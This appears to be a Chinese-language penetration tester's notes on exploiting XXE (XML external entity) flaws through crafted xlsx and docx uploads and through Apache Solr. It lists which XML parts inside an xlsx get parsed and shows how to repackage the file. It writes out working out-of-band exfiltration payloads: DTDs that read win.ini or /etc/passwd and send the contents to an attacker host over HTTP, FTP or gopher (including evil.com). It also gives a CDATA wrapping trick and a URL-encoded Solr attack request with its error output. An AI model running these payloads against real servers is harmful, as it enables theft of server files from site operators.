Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。
许多网站允许上传/导入文件,处理文件内部数据一般都会解析XML,若解析器未安全配置,则可能存在XXE漏洞。
通常大多数解析开始的地方是xl/workbook.xml,它提供了工作簿内容的概述,包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。
大多数应用程序似乎都会使用xl/workbook.xml XML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是一个特有的二进制格式,其核心结构是复合文档类型的结构,而xlsx的核心结构是XML类型的结构,采用的是基于XML的压缩方式。xls格式文件没办法插入Payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。
https://zhpt.xxx.com/yyyService/zzz/yyymastermanager/batchAdd
制作xlsx:
unzip ImportProductTemplate.xlsx
zip -r xxetest00.xslx *
即使返回导入失败,也成功解析了xml
由于是java的站,所以利用ftp协议读取文件
可能由于目标jdk版本过高,无法完整读取有换行的文件,也无法列目录。
excel xxe可触发解析的xlsx内文件:
[Content_Types].xml
xl/workbook.xml
xl/worksheets/sheet1.xml
_rels/.rels
这些也可以尝试:
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml
java环境,读取有换行的文件成功与否与和java版本/操作系统有关。
php可以用base64编码带出,如下:
xxe.dtd:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>"> %int; %trick;
而java会出异常
//jdk8u201
低版本Java可用gopher(java1.6)带出
<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://evil.com/%payload;'>">
%int;
%trick;
高版本java(不知道从1.8哪个版本开始)的ftp协议对换行做了限制
//jdk8u201
//某些版本java会有checkUrl()在issueCommand()之前就检查\n
//sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
Java支持的协议
按常理在读取多行文件时候,高版本java碰到异常就读取不了了,但是/etc/passwd可以返回第一行的部分,其他文件就没返回。
利用solr xxe漏洞测试
java 8u151
192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser
尝试读多行文件
ftp无返回,但是/etc/passwd有返回
http无返回
ftp读取passwd出现下面异常,应该就是换行问题,能返回第一行一部分 org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x0.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit} http读passwd一行都没返回,应该也是换行问题 org.apache.solr.search.SyntaxError: Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x5.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
读取单行文件:
http成功返回
ftp成功返回
Win7(8u201)下测试passwd的第一行可以返回,win.ini无返回......
继续测试,发现能返回最后一个/b前面的部分
linux也一样
感兴趣的大神可以调试一下,兴许一个CVE就出现了......
顺便说一下,如果文件中含有 ‘ “ < > & 直接读会报错 可以利用CDATA 由<![CDATA[开始,由]]>结束 可以用于xxe有回显的情况 dtd <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>"> payload <?xml version="1.0"?> <!DOCTYPE cdl [ <!ENTITY % r SYSTEM "file:///c:/Windows/win.ini"> <!ENTITY % asd SYSTEM "http://1.2.3.4:5555/cdata.dtd"> %asd;%c;%rrr;]>
https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54
https://wemp.app/posts/c6478311-33dc-4c59-92bc-12105baf5bac
QQ邮箱XXE可读取任意文件
网易邮箱某处XXE可读取文件
https://www.4armed.com/blog/exploiting-xxe-with-excel/
https://www.freebuf.com/column/232334.html
scz.617.cn/misc/201911011122.txt
https://www.t00ls.net/articles-32919.html
https://www.leadroyal.cn/?p=914
www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/